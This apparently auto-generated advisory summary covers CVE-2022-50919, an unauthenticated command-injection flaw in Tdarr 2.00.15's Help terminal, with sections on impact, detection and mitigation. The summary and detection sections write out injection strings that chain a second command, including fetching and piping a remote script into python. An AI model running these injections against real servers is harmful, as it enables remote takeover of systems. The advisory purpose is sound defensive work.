Executive Summary

CVE-2022-50919 is a critical remote code execution vulnerability in Tdarr version 2.00.15. It exists in the Help terminal feature, which lacks proper input filtering and does not require authentication. Attackers can inject and chain arbitrary commands, such as using '--help; curl .py | python', to execute remote code on the server running Tdarr without any credentials. [1, 2]

Useful 0 Not Useful 0

Impact Analysis

This vulnerability allows unauthenticated remote attackers to execute arbitrary commands on the Tdarr server. This can lead to unauthorized access, execution of malicious scripts, spawning of reverse shells, and potential full compromise of the system hosting Tdarr. Sensitive information could be exposed or altered, and the server could be used as a foothold for further attacks. [1, 2]

Useful 0 Not Useful 0

Detection Guidance

This vulnerability can be detected by attempting to inject commands into the Tdarr Help terminal input and observing if arbitrary commands execute without authentication. For example, you can try commands like `--help; whoami` or `--help; curl http://yourserver/test.py | python` to see if the system executes them. Monitoring network traffic for unusual outbound connections initiated by Tdarr, such as unexpected curl requests, may also indicate exploitation attempts. [2]

Useful 0 Not Useful 0

Mitigation Strategies

Immediate mitigation steps include disabling or restricting access to the Tdarr Help terminal feature to prevent unauthenticated command injection. Applying any available patches or updates from the vendor that address this vulnerability is critical. Additionally, implementing network-level controls such as firewall rules to block unauthorized access to Tdarr services and monitoring for suspicious activity can help reduce risk until a fix is applied. [1, 2]

Useful 0 Not Useful 0